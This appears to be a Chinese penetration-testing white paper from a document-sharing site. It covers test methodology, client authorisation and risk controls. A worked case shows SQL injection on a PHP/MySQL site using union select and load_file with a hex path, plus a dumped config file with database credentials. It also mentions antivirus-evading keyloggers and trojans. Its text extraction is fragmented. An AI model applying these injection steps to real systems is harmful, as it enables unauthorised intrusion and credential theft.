安全渗透测试技术白皮书Word文件下载.docx
- 文档编号:1519395
- 上传时间:2023-04-30
- 格式:DOCX
- 页数:27
- 大小:710.75KB
安全渗透测试技术白皮书Word文件下载.docx
《安全渗透测试技术白皮书Word文件下载.docx》由会员分享,可在线阅读,更多相关《安全渗透测试技术白皮书Word文件下载.docx(27页珍藏版)》请在冰点文库上搜索。
对Web和数据库应用进行分析
采用WebProxy、SPIKEProxy、webscarab、ParosProxy、Absinthe等工具进行分析
用Ethereal抓包协助分析
用webscan、fuzzer进行SQL注入和XSS漏洞初步分析
手工检测SQL注入和XSS漏洞
采用类似OScanner的工具对数据库进行分析
应用分析的注意事项
检查应用系统架构、防止用户绕过系统直接修改数据库
检查身份认证模块,防止非法用户绕过身份认证
检查数据库接口模块,防止用户获取系统权限
检查文件接口模块,防止用户获取系统文件
检查其他安全威胁
其中每个环节都还有详细的checklist,读者可以自行补充。
攻击阶段
基于通用设备、数据库、操作系统和应用的攻击
可以采用各种公开及私有的缓冲区溢出程序代码,一个比较好的Exploit搜索站点是:
。
也可以采用诸如MetasploitFramework之类的利用程序集合。
基于应用的攻击
基于web、数据库或特定的B/S或C/S结构的网络应用程序存在的弱点进行攻击,常见的如SQL注入攻击、跨站脚本攻击等均属于这一类型,我们在第4.1.2小节的《实战演练及报表输出》中举了一个常见的基于应用进行攻击的案例。
口令猜解技术
口令是信息安全里永恒的主题,在笔者参与的渗透测试项目中,通过弱口令获取权限者不在少数。
进行口令猜解可以采用游刃、X-Scan、Brutus、Hydra、溯雪等工具。
下图为测评工具的策略审查模板。
后攻击阶段
口令嗅探与键盘记录
嗅探、键盘记录、木马等软件,功能简单,但要求不被防病毒软件发觉,因此通常需要自行开发或修改。
口令破解
有许多著名的口令破解软件,如L0phtCrack、JohntheRipper、Cain等。
其它手法
这里列出的方法,有些可能对用户的网络造成较大影响(例如服务中断),有的则与安全管理密切相关(不能仅从技术考量),有的则是需要到现场才能进行作业,因此通常情况下较少为渗透测试者所采用。
但可以根据具体客户的需求状态进行判断。
DoS&
DDoS
客户端攻击
无线攻击
WarDialing
社交工程方法
操作中的注意事项
测试前提供给Pen-Tester的资料
1.1.1黑箱测试
黑箱测试又被称为所谓的“zero-knowledgetesting”,渗透者完全处于对系统一无所知的状态,通常这类型测试,最初的信息获取来自于DNS、Web、Email及各种公开对外的服务器。
1.1.2白盒测试
白盒测试与黑箱测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其它程序的代码片断,也能够与单位的其它员工(销售、程序员、管理者……)进行面对面的沟通。
这类测试的目的是模拟企业内部雇员的越权操作。
1.1.3隐秘测试
隐秘测试是对被测单位而言的,通常情况下,接受渗透测试的单位网络管理部门会收到通知:
在某些时段进行测试。
因此能够监测网络中出现的变化。
但隐秘测试则被测单位也仅有极少数人知晓测试的存在,因此能够有效地检验单位中的信息安全事件监控、响应、恢复做得是否到位。
攻击路径
测试目标不同,涉及需要采用的技术也会有一定差异,因此下面简单说明在不同位置、攻击路径不同时可能采用的技术。
1.1.4内网测试
内网测试指的是渗透测试人员由内部网络发起测试,这类测试能够模拟企业内部违规操作者的行为。
最主要的“优势”是绕过了防火墙的保护。
内部主要可能采用的渗透方式:
1)远程缓冲区溢出;
2)口令猜测;
3)B/S或C/S应用程序测试(如果涉及C/S程序测试,需要提前准备相关客户端软件供测试使用);
1.1.5外网测试
外网测试指的是渗透测试人员完全处于外部网络(例如拨号、ADSL或外部光纤),模拟对内部状态一无所知的外部攻击者的行为。
1)对网络设备的远程攻击;
2)口令管理安全性测试;
3)防火墙规则试探、规避;
4)Web及其它开放应用服务的安全性测试;
1.1.6不同网段/Vlan之间的渗透
这种渗透方式是从某内/外部网段,尝试对另一网段/Vlan进行渗透。
这类测试通常可能用到的技术包括:
2)对防火墙的远程攻击或规则探测、规避尝试;
实施流程
1.1.7实施方案制定、客户书面同意
合法性即客户书面授权委托,并同意实施方案是进行渗透测试的必要条件。
渗透测试首先必须将实施方法、实施时间、实施人员,实施工具等具体的实施方案提交给客户,并得到客户的相应书面委托和授权。
应该做到客户对渗透测试所有细节和风险的知晓、所有过程都在客户的控制下进行。
这也是专业渗透测试服务与黑客攻击入侵的本质不同。
1.1.8信息收集分析
信息收集是每一步渗透攻击的前提,通过信息收集可以有针对性地制定模拟攻击测试计划,提高模拟攻击的成功率,同时可以有效的降低攻击测试对系统正常运行造成的不利影响。
信息收集的方法包括PingSweep、DNSSweep、DNSzonetransfer、操作系统指纹判别、应用判别、账号扫描、配置判别等。
信息收集常用的工具包括商业网络安全漏洞扫描软件(例如:
游刃、极光等),免费安全检测工具(例如:
NMAP、NESSUS等)。
操作系统内置的许多功能(例如:
TELNET、NSLOOKUP、IE等)也可以作为信息收集的有效工具。
1.1.9内部计划制定、二次确认
根据客户设备范围和项目时间计划,并结合前一步初步的信息收集得到的设备存活情况、网络拓扑情况以及扫描得到的服务开放情况、漏洞情况制定内部的详细实施计划。
具体包括每个地址下一步可能采用的测试手段,详细时间安排。
并将以下一步工作的计划和时间安排与客户进行确认。
1.1.10取得权限、提升权限
通过初步的信息收集分析,存在两种可能性,一种是目标系统存在重大的安全弱点,测试可以直接控制目标系统;
另一种是目标系统没有远程重大的安全弱点,但是可以获得普通用户权限,这时可以通过该普通用户权限进一步收集目标系统信息。
接下来尽最大努力取得超级用户权限、收集目标主机资料信息,寻求本地权限提升的机会。
这样不停的进行信息收集分析、权限提升的结果形成了整个的渗透测试过程。
1.1.11生成报告
渗透测试之后,测试者将会提供一份渗透测试报告。
报告将会十分详细的说明渗透测试过程中的得到的数据和信息,并且将会详细的纪录整个渗透测试的全部操作。
风险规避措施
1.1.12渗透测试时间与策略
1.1.12.1时间选择
为减轻渗透测试对网络和主机的影响,渗透测试时间尽量安排在业务量不大的时段或晚上。
1.1.12.2攻击策略集选择
为防止渗透测试造成网络和主机的业务中断,在渗透测试中不使用含有拒绝服务的测试策略。
1.1.12.3保守策略选择
对于不能接受任何可能风险的主机系统,如银行票据核查系统,电力调度系统等,可选择如下保守策略:
1)复制一份目标环境,包括硬件平台,操作系统,数据库管理系统,应用软件等。
2)对目标的副本进行渗透测试。
1.1.13系统备份和恢复
1.1.13.1系统备份
为防止在渗透测试过程中出现的异常的情况,所有被评估系统均应在被评估之前作一次完整的系统备份或者关闭正在进行的操作,以便在系统发生灾难后及时恢复。
1.1.13.2系统恢复
在渗透测试过程中,如果出现被评估系统没有响应或中断的情况,应当立即停止测试工作,与客户方配合人员一起分析情况,在确定原因后,及时恢复系统,并采取必要的预防措施(比如调整测试策略)之后,确保对系统无影响,并经客户方同意之后才可继续进行。
1.1.14工程中合理沟通的保证
在工程实施过程中,确定不同阶段的测试人员以及客户方的配合人员,建立直接沟通的渠道,并在工程出现难题的过程中保持合理沟通。
1.1.15系统监测
在评估过程中,由于渗透测试的特殊性,用户可以要求对整体测试流程进行监控(可能提高渗透测试的成本)。
1.1.15.1测试方自控
由测试者对本次测透测试过程中的三方面数据进行完整记录:
1)操作;
2)响应;
3)分析;
最终形成完整有效的渗透测试报告提交给用户。
1.1.15.2用户监控
可以有三种形式:
1)全程监控:
采用类似Ethereal或SnifferPro的嗅探软件进行全程抓包嗅探。
优点是全过程都能完整记录。
缺点是数据量太大,不易分析;
需要大容量存储设备。
2)择要监控:
对扫描过程不进行录制,仅仅在安全工程师分析数据后,准备发起渗透前,才开启类似Ethereal或SnifferPro的软件进行嗅探。
3)主机监控:
仅监控受测主机的存活状态,避免意外情况发生。
目前国内应用比较多的是这种监控手段.
其它
1)测试前将所有工具的漏洞数据库都升级至最新版本;
2)测试时最好通过专门的渗透测试代理服务器进行操作,在代理服务器上可以方便进行操作的监控,也能够为客户提供一个专门用于渗透测试的IP地址;
3)后攻击阶段的操作如果确实必要,也应该先知会客户,然后进行操作;
实战演练及报表输出
实践操作过程
1.1.16预攻击阶段的发现
在获得授权后,我们用…发现目标情况如下:
网络层访问控制列表及防火墙策略控制得当,对无用服务进行较好的过滤;
系统层防护完善,系统补丁完整;
因此外部入侵者较难直接攻击成功。
该服务器上运行着两个配置不同的虚拟主机:
存在php+MySQL注入漏洞,恶意攻击者可能利用该漏洞更改主页、获取后台管理密码,并进一步获取系统管理员权限。
X用户名可猜测;
X暴露系统路径;
1.1.17攻击阶段的操作
1.1.17.1判断网站存在SQL注入漏洞
通过在正常url后加上一个’号,我们发现系统报告了一个不是有效的mysql命令的错误提示,这是典型的应用程序缺乏过滤导致的注入问题。
1.1.17.2资源占用导致应用程序报错
采用DoSent(大成天下自行开发的应用层测试工具)发送测试数据包对网站的非80端口进行连接,占用系统资源;
采用ab(ApacheWeb性能测试工具)程序对80端口应用程序及数据库进行连接及查询,占用web资源;
用浏览器多次连接web后,出现错误提示,获取web目录及配置文件详情:
Fatalerror:
Maximumexecutiontimeof30secondsexceededinC:
\Inetpub\wwwroot\xxxx\inc\config.inc.phponline9
PHPFatalerror:
由此得出web路径及关键配置文件路径。
1.1.17.3列数
orderby9
unionselectchar(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41),char(0x41)
可以确认需要带9个参数。
1.1.17.4尝试采用load_file和substring函数察看文件
c:
\inetpub\wwwroot\xxxx\inc\config.inc.php转换成16进制表示如下:
0000000:
633a5c696e65747075625c777777726fc:
\inetpub\wwwro
0000010:
6f745c6368795c696e635c636f6e6669ot\xxxx\inc\confi
0000020:
672e696e632e7068700ag.inc.php.
在load-file函数中就表示为:
load_file((0x633a5c696e65747075625c777777726f6f745c6368795c696e635c636f6e6669672e696e632e706870))
因此在浏览器中输入:
返回:
setDataSourceServer($dataSourceServer);
$dbTools->
setUser($dbUser);
setPassword($dbPassword);
setDataBase($dataBase);
setDebug(true);
if(!
$dbTools->
dbConnect())//ConnectthedataSource,breakiffalse{echo"
DataSourceconnectfaile!
"
;
exit();
}include($systemUrl."
count.inc.php"
);
//includedefinecountwebsiteaccess?
>
在浏览器中输入:
**Author@HuangJing**Function:
Defineparam,GetthedataSourceconnection****/session_start();
header("
Expires:
Mon,26Jul199705:
00:
00GMT"
Last-Modified:
"
.gmdate("
D,dMYH:
i:
s"
)."
GMT"
Cache-Control:
no-cache,must-revalidate"
Pragma:
no-cache"
$author="
2004"
$systemName="
某某公司后台管理系统"
$bannerWord="
略"
$SystemURL="
$SystemAdmin="
webmaster@"
$newsType=array("
"
略);
$goodsInputFile=array("
array("
goodsInput1.inc.php"
goodsInput2.inc.php"
goodsInput3.inc.php"
),array("
goodsInput4.inc.php"
goodsInput5.inc.php"
goodsInput6.inc.php"
));
/***后台****/$region=array('
北京'
'
上海'
重庆'
天津'
河北'
山西'
内蒙古'
辽宁'
吉林'
黑龙江'
江苏'
浙江'
安徽'
福建'
江西'
'
山东'
河南'
湖北'
湖南'
广东'
广西'
海南'
四川'
贵州'
云南'
西藏'
陕西'
甘肃'
青海'
宁夏'
新疆'
$functionList=array("
添加操作员"
修改口令/权限"
删除操作员"
修改我的口令"
"
公司新闻"
行业信息"
通知公告"
企业大事记"
人才招聘"
服务网点"
在线咨询"
在线投诉"
"
营销网点"
车评管理"
车型管理"
企业荣誉"
质量报道"
友情链接"
);
$functionAction=array("
useradd"
usermodify"
userdel"
passmodify"
"
newsP1"
newsP2"
newsP3"
history"
job"
service"
online"
feedback"
sell"
truckComment"
goods"
honor"
newsP4"
link"
$functionRight=array("
user"
user1"
user2"
user3"
user4"
user5"
user6"
user7"
user8"
user9"
user10"
user11"
user12"
user13"
//不要出现重复的元素/****/$systemUrl="
/inetpub/wwwroot/xxxx/"
$systemWebUrl="
/"
//usetforwordedituploadfilecatlog$systemIncludePath=$systemUrl."
inc/"
include($systemIncludePath."
define.inc.php"
//includedefineFunction/ClassFile$uploadPath="
upload/"
$SystemUpload=$systemUrl.$uploadPath;
$systemUploadUrl=$systemWebUrl.$uploadPath;
//$SystemUpload=$systemUrl.$uploadPath;
//usetforwordedituploadfilecatlog//$SystemUploadURL=$systemWebUrl.$uploadPath;
//usetforwordedituploadfilecatlog$SystemUploadURL=$SystemUpload;
$website_url="
localhost"
$systemAdminPath="
admin/"
$dataSourceServer="
$dbUser="
root"
$dbPassword="
xxx123456xxx"
$dataBase="
xxx"
$dbTools=newdbTools;
//classdefineindefine.inc.php$dbTools->
setUser($d
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 安全 渗透 测试 技术 白皮书